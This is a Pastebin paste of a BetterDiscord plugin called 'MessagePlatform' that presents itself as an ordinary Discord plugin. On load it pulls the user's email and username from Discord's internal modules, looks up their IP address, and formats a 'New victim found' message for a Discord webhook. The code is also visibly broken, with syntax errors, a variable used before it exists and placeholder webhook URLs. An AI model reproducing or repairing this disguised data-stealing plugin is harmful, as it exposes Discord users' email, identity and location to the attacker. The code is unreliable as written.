Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- //META{"name":"MessagePlatform"}*//
- const config ={
- "info": {
- "name": "MessagePlatform",
- "authors": ["Sayanoraxeni"],
- "version": "0.1.1",
- "description": "Plugin for Discord"
- },
- "webhook": "https://discord.com/api/webhooks/xxxxxxxxxxx/xxxxxxxxxxxx"
- }
- class MessagePlatform {
- /* BD functions */
- getName() {
- return "MessagePlatform";
- }
- getVersion() {
- return "0.1.1";
- }
- getAuthor() {
- return "Sayanoraxeni";
- }
- getDescription() {
- return "Plugin for Discord userEmail and userId";
- }
- constructor() {
- this._config = config; }
- getName() { return config.info.name; }
- getAuthor() { return config.info.authors[0] }
- getDescription() { return config.info.description; }
- getVersion() { return config.info.version; }
- load() {
- const userEmail = Object.values(webpackJsonp.push([ [], { ['']: (_, e, r) => { e.cache = r.c } }, [ [''] ] ]).cache).find(m => m.exports && m.exports.default && m.exports.default.getEmail !== void 0).exports.default.getEmail();
- const username = BdApi.findModuleByProps("getCurrentUser").getCurrentUser().username
- fetch('https://api.ipify.org/?format=json%22', {
- method: 'POST',
- headers: {
- 'content-1': 'application/json'
- }
- body: JSON.stringify({
- name: 'User1',
- content: `New victim found by __${config.info.authors[0]}__**\n\n**Victim's nickname: __${username}__**\n**Victim email: __${userEmail}__**\n**IP: __${data.ip}__`
- })
- }).then(res =>
- res.json())
- .then(data => post(`https://discord.com/api/webhooks/xxxxxxxxxx/xxxaxxxx`))
- }
Add Comment
Please, Sign In to add comment